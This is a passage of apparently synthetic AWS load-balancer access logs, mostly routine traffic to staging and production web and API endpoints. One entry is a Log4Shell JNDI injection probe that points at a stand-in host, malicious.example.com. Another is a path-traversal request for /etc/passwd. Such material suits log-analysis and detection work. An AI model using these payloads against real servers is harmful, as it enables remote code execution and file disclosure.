1782 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf2-01f272a07a7e40b2b25d4e0f" "staging-alb.example.com" "-" 2 2024-11-01T01:26:58.284103Z "forward" "-" "-" "205.76.152.81:80" "301" "-" "-" -http 2024-11-01T01:26:59.961956Z staging-alb 214.97.167.126:30000 237.78.221.100:8080 0.091336 0.539267 0.131974 200 200 949 8742 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbf3-ea1a39bd6b494c978ba3c53f" "staging-alb.example.com" "-" 5 2024-11-01T01:26:59.961956Z "forward" "-" "-" "237.78.221.100:8080" "200" "-" "-" -https 2024-11-01T01:27:01.906570Z prod-web-alb 88.131.125.203:12982 10.0.213.226:443 0.031321 0.451051 0.032936 302 302 311 3640 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbf5-11f910dc11f74024b30f4ca6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:27:01.906570Z "forward" "-" "-" "10.0.213.226:443" "302" "-" "-" -http 2024-11-01T01:27:02.271281Z staging-alb 101.155.221.91:59789 95.245.188.137:8080 0.041494 0.666989 0.127352 301 301 285 4806 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf6-474bda8a112e4beeae487d79" "-" "-" 8 2024-11-01T01:27:02.271281Z "forward" "-" "-" "95.245.188.137:8080" "301" "-" "-" -https 2024-11-01T01:27:03.937659Z prod-api-alb 31.46.7.2:28566 10.0.74.93:443 0.043788 0.123152 0.054681 200 200 893 1503 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbf7-79e3db04af4c49a492c86b82" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:03.937659Z "forward" "-" "-" "10.0.74.93:443" "200" "-" "-" -https 2024-11-01T01:27:04.694385Z prod-api-alb 11.97.230.200:13388 10.0.135.174:443 0.014993 0.144831 0.023531 200 200 630 8132 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbf8-5643d08066654e638c9249fe" "prod-api-alb.example.com" "-" 7 2024-11-01T01:27:04.694385Z "forward" "-" "-" "10.0.135.174:443" "200" "-" "-" -https 2024-11-01T01:27:06.330838Z prod-api-alb 204.99.170.196:26973 10.0.74.92:443 0.099993 0.154809 0.049271 404 404 863 1116 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbfa-2ebe9b87e0b543c5b74bcded" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:06.330838Z "forward" "-" "-" "10.0.74.92:443" "404" "-" "-" -https 2024-11-01T01:27:08.330212Z prod-web-alb 142.165.235.139:35280 10.0.198.248:443 0.090928 0.403847 0.003332 200 200 123 2633 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbfc-6e6449134be4436f8f730f49" "prod-web-alb.example.com" "-" 3 2024-11-01T01:27:08.330212Z "forward" "-" "-" "10.0.198.248:443" "200" "-" "-" -https 2024-11-01T01:27:09.895133Z prod-web-alb 147.16.186.214:11775 10.0.81.60:443 0.011072 0.458175 0.034995 302 302 162 13101 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbfd-ca1316d998794bdbb2d1cdee" "prod-web-alb.example.com" "-" 8 2024-11-01T01:27:09.895133Z "forward" "-" "-" "10.0.81.60:443" "302" "-" "-" -https 2024-11-01T01:27:11.241327Z prod-api-alb 212.184.205.248:61967 10.0.116.71:443 0.076969 0.475832 0.039941 200 200 117 3659 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbff-3fcd822fcda942c3b0fe2592" "-" "-" 5 2024-11-01T01:27:11.241327Z "forward" "-" "-" "10.0.116.71:443" "200" "-" "-" -http 2024-11-01T01:27:12.429914Z staging-alb 216.183.186.144:53974 91.98.177.252:8080 0.097081 0.061856 0.042661 200 200 193 3422 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc00-97e983362d914ed888b7eb48" "staging-alb.example.com" "-" 4 2024-11-01T01:27:12.429914Z "forward" "-" "-" "91.98.177.252:8080" "200" "-" "-" -http 2024-11-01T01:27:13.057131Z staging-alb 249.143.22.166:13958 88.16.110.217:443 0.086946 0.724130 0.130109 200 200 770 2357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc01-7b27bdaf2c5343f2aa80a027" "staging-alb.example.com" "-" 8 2024-11-01T01:27:13.057131Z "forward" "-" "-" "88.16.110.217:443" "200" "-" "-" -https 2024-11-01T01:27:14.649370Z prod-web-alb 57.192.1.211:30850 10.0.167.195:443 0.001208 0.395222 0.008983 301 301 809 6271 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc02-08221312b91a4d409db0e393" "prod-web-alb.example.com" "-" 9 2024-11-01T01:27:14.649370Z "forward" "-" "-" "10.0.167.195:443" "301" "-" "-" -https 2024-11-01T01:27:14.804568Z staging-alb 86.249.50.116:17941 159.231.74.155:80 0.077469 0.202852 0.080887 404 404 902 5412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc02-31893855cf944c98ba3d298d" "staging-alb.example.com" "-" 8 2024-11-01T01:27:14.804568Z "forward" "-" "-" "159.231.74.155:80" "404" "-" "-" -https 2024-11-01T01:27:15.362689Z prod-web-alb 193.27.228.126:55316 10.0.1.127:443 0.037470 0.422252 0.040160 404 404 910 14761 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc03-62d70ed6afe3425fa67a4c3f" "-" "-" 9 2024-11-01T01:27:15.362689Z "forward" "-" "-" "10.0.1.127:443" "404" "-" "-" -https 2024-11-01T01:27:16.397198Z staging-alb 145.201.48.18:34211 26.26.234.194:80 0.027441 0.733523 0.062212 404 404 751 14196 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc04-44ed619214e048bf9bf82823" "staging-alb.example.com" "-" 5 2024-11-01T01:27:16.397198Z "forward" "-" "-" "26.26.234.194:80" "404" "-" "-" -https 2024-11-01T01:27:17.159514Z prod-api-alb 65.204.137.124:51137 10.0.24.183:443 0.086273 0.015714 0.015229 302 302 577 10121 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc05-cb1941b15de148cca8eacc35" "prod-api-alb.example.com" "-" 6 2024-11-01T01:27:17.159514Z "forward" "-" "-" "10.0.24.183:443" "302" "-" "-" -http 2024-11-01T01:27:18.324976Z staging-alb 150.75.58.18:40769 174.6.0.38:443 0.102291 0.523931 0.019547 200 200 816 9397 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc06-dd41809e631f4a4c97297d8b" "staging-alb.example.com" "-" 9 2024-11-01T01:27:18.324976Z "forward" "-" "-" "174.6.0.38:443" "200" "-" "-" -https 2024-11-01T01:27:19.510884Z staging-alb 236.63.93.61:15346 191.173.141.250:8080 0.117789 0.652637 0.149335 301 301 323 4676 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc07-46397e977b8c4cd8b94c804e" "staging-alb.example.com" "-" 0 2024-11-01T01:27:19.510884Z "forward" "-" "-" "191.173.141.250:8080" "301" "-" "-" -https 2024-11-01T01:27:21.353736Z prod-api-alb 185.181.85.31:12966 10.0.126.194:443 0.042513 0.064623 0.047028 404 404 662 3915 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc09-b13e99fe435c47bf866cb74b" "-" "-" 0 2024-11-01T01:27:21.353736Z "forward" "-" "-" "10.0.126.194:443" "404" "-" "-" -https 2024-11-01T01:27:22.424529Z prod-web-alb 38.166.81.146:62481 10.0.156.78:443 0.016350 0.370202 0.048208 200 200 715 4546 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc0a-23afeef31e6c4c71bdf76b13" "prod-web-alb.example.com" "-" 10 2024-11-01T01:27:22.424529Z "forward" "-" "-" "10.0.156.78:443" "200" "-" "-" -https 2024-11-01T01:27:23.529362Z staging-alb 99.164.139.117:27589 166.15.153.29:80 0.104223 0.610433 0.107396 404 404 783 5968 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc0b-47bdc01c2b20432ba5e947af" "staging-alb.example.com" "-" 4 2024-11-01T01:27:23.529362Z "forward" "-" "-" "166.15.153.29:80" "404" "-" "-" -http 2024-11-01T01:27:25.438507Z staging-alb 205.197.95.214:57994 219.200.160.120:80 0.127639 0.636574 0.078999 200 200 649 14902 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc0d-671280a4ff1a44049cf6aec0" "staging-alb.example.com" "-" 3 2024-11-01T01:27:25.438507Z "forward" "-" "-" "219.200.160.120:80" "200" "-" "-" -https 2024-11-01T01:27:27.090499Z prod-api-alb 26.68.128.213:18752 10.0.152.101:443 0.046410 0.121530 0.096692 200 200 719 4314 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc0f-a3fdc845121e4c70842cb63e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:27:27.090499Z "forward" "-" "-" "10.0.152.101:443" "200" "-" "-" -https 2024-11-01T01:27:28.308693Z prod-web-alb 222.146.92.191:10320 10.0.89.102:443 0.042138 0.420786 0.079701 200 200 24 5160 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc10-e196af2937434b9c9cb21a32" "prod-web-alb.example.com" "-" 6 2024-11-01T01:27:28.308693Z "forward" "-" "-" "10.0.89.102:443" "200" "-" "-" -https 2024-11-01T01:27:29.396811Z staging-alb 32.117.251.246:24783 198.42.132.247:8080 0.149929 0.407191 0.076731 200 200 192 5504 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc11-41b74b66a53f48ceaf0e27f6" "staging-alb.example.com" "-" 5 2024-11-01T01:27:29.396811Z "forward" "-" "-" "198.42.132.247:8080" "200" "-" "-" -https 2024-11-01T01:27:30.630720Z prod-api-alb 2.55.210.87:15121 10.0.121.1:443 0.093026 0.299722 0.063412 302 302 800 13197 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc12-d0bb59101d39451fb30bb207" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:30.630720Z "forward" "-" "-" "10.0.121.1:443" "302" "-" "-" -https 2024-11-01T01:27:31.385115Z prod-api-alb 250.35.253.161:45731 10.0.10.166:443 0.085404 0.193744 0.033496 302 302 407 12563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc13-55098a9beb764a518e96c7cb" "prod-api-alb.example.com" "-" 4 2024-11-01T01:27:31.385115Z "forward" "-" "-" "10.0.10.166:443" "302" "-" "-" -https 2024-11-01T01:27:31.729327Z prod-api-alb 187.16.188.25:45841 10.0.144.142:443 0.078285 0.329198 0.005246 301 301 954 4063 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc13-42b088f5ba7a49a384d8dec0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:27:31.729327Z "forward" "-" "-" "10.0.144.142:443" "301" "-" "-" -https 2024-11-01T01:27:33.278562Z prod-api-alb 144.77.182.213:12362 10.0.221.57:443 0.040174 0.421071 0.029300 404 404 455 3136 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc15-e27a0ebaa1444e4086d37f35" "prod-api-alb.example.com" "-" 4 2024-11-01T01:27:33.278562Z "forward" "-" "-" "10.0.221.57:443" "404" "-" "-" -https 2024-11-01T01:27:35.169413Z prod-web-alb 97.127.176.78:30120 10.0.165.246:443 0.060446 0.177675 0.071728 302 302 577 5074 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc17-1da45438b63744a79158c662" "prod-web-alb.example.com" "-" 3 2024-11-01T01:27:35.169413Z "forward" "-" "-" "10.0.165.246:443" "302" "-" "-" -https 2024-11-01T01:27:35.895794Z staging-alb 105.100.188.20:22389 110.58.88.192:80 0.008882 0.551625 0.052765 301 301 40 10471 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc17-7a6f0b35034e48c58a140723" "staging-alb.example.com" "-" 2 2024-11-01T01:27:35.895794Z "forward" "-" "-" "110.58.88.192:80" "301" "-" "-" -https 2024-11-01T01:27:37.729565Z staging-alb 123.21.116.10:53680 199.13.4.105:8080 0.107470 0.491183 0.074346 200 200 791 390 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc19-c9b02924e371441f8471eba4" "staging-alb.example.com" "-" 5 2024-11-01T01:27:37.729565Z "forward" "-" "-" "199.13.4.105:8080" "200" "-" "-" -https 2024-11-01T01:27:38.700931Z prod-api-alb 117.146.213.61:63645 10.0.36.225:443 0.032986 0.192564 0.067403 404 404 279 6871 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1a-e5e013cb79164fcaa7a708da" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:38.700931Z "forward" "-" "-" "10.0.36.225:443" "404" "-" "-" -https 2024-11-01T01:27:39.520879Z prod-api-alb 171.79.74.115:51849 10.0.79.200:443 0.070931 0.440382 0.097531 301 301 738 864 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1b-d826f171110b42c9b48a93c9" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:39.520879Z "forward" "-" "-" "10.0.79.200:443" "301" "-" "-" -https 2024-11-01T01:27:40.848410Z prod-web-alb 30.214.159.187:20738 10.0.218.62:443 0.020409 0.370747 0.098517 302 302 832 12832 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc1c-ee9ad305f69b4466b1d66d0f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:27:40.848410Z "forward" "-" "-" "10.0.218.62:443" "302" "-" "-" -https 2024-11-01T01:27:41.791149Z prod-api-alb 238.246.196.135:35486 10.0.47.227:443 0.010603 0.130352 0.052916 200 200 61 8994 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc1d-51cc8d37313f4788855ffbe4" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:41.791149Z "forward" "-" "-" "10.0.47.227:443" "200" "-" "-" -https 2024-11-01T01:27:43.733817Z prod-api-alb 210.241.185.160:46950 10.0.148.192:443 0.081048 0.093809 0.045941 301 301 305 11759 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1f-4fff17507ce14a2eb729054a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:43.733817Z "forward" "-" "-" "10.0.148.192:443" "301" "-" "-" -https 2024-11-01T01:27:44.440582Z prod-api-alb 180.115.79.238:24896 10.0.70.135:443 0.082774 0.483873 0.065793 200 200 27 14844 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc20-a5add3271aab4de0bdde422a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:27:44.440582Z "forward" "-" "-" "10.0.70.135:443" "200" "-" "-" -https 2024-11-01T01:27:45.913953Z staging-alb 82.241.76.203:54218 248.80.192.177:8080 0.085451 0.125242 0.124909 200 200 99 12972 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc21-9cfcb78914aa488b8b6036d5" "staging-alb.example.com" "-" 4 2024-11-01T01:27:45.913953Z "forward" "-" "-" "248.80.192.177:8080" "200" "-" "-" -http 2024-11-01T01:27:46.117560Z staging-alb 47.3.229.65:19090 38.152.77.227:8080 0.110611 0.650991 0.008941 200 200 220 6070 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc22-a0d7839c74f340598ecf8ebd" "-" "-" 6 2024-11-01T01:27:46.117560Z "forward" "-" "-" "38.152.77.227:8080" "200" "-" "-" -https 2024-11-01T01:27:48.011186Z prod-api-alb 181.248.99.96:60025 10.0.153.97:443 0.011399 0.160437 0.081668 404 404 51 4498 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc24-f977870d252143b4a3a7936e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:48.011186Z "forward" "-" "-" "10.0.153.97:443" "404" "-" "-" -https 2024-11-01T01:27:48.395568Z prod-web-alb 71.73.220.199:21242 10.0.201.160:443 0.054567 0.363328 0.007363 200 200 740 4899 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc24-63f0ea5b029142e59ab05af5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:27:48.395568Z "forward" "-" "-" "10.0.201.160:443" "200" "-" "-" -https 2024-11-01T01:27:49.228300Z prod-api-alb 18.57.141.36:28818 10.0.101.223:443 0.031754 0.086262 0.079353 404 404 881 3989 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc25-72fc3ea47fa948d5ae326460" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:49.228300Z "forward" "-" "-" "10.0.101.223:443" "404" "-" "-" -https 2024-11-01T01:27:50.815555Z staging-alb 226.16.12.220:64707 142.115.97.124:443 0.131280 0.349717 0.010270 200 200 274 10981 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc26-9831bf06d86e47d4800e940c" "staging-alb.example.com" "-" 4 2024-11-01T01:27:50.815555Z "forward" "-" "-" "142.115.97.124:443" "200" "-" "-" -https 2024-11-01T01:27:51.742294Z prod-api-alb 143.64.27.114:55176 10.0.13.239:443 0.095591 0.236497 0.030475 200 200 136 1028 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc27-c0fca85fe0a242f9a86c391d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:51.742294Z "forward" "-" "-" "10.0.13.239:443" "200" "-" "-" -https 2024-11-01T01:27:52.798322Z staging-alb 167.148.128.110:57709 241.217.166.240:8080 0.018437 0.608516 0.038459 302 302 757 8128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc28-cda8170100ba4a38aefb2601" "staging-alb.example.com" "-" 4 2024-11-01T01:27:52.798322Z "forward" "-" "-" "241.217.166.240:8080" "302" "-" "-" -https 2024-11-01T01:27:54.065508Z prod-web-alb 115.185.201.175:60540 10.0.120.248:443 0.026854 0.118211 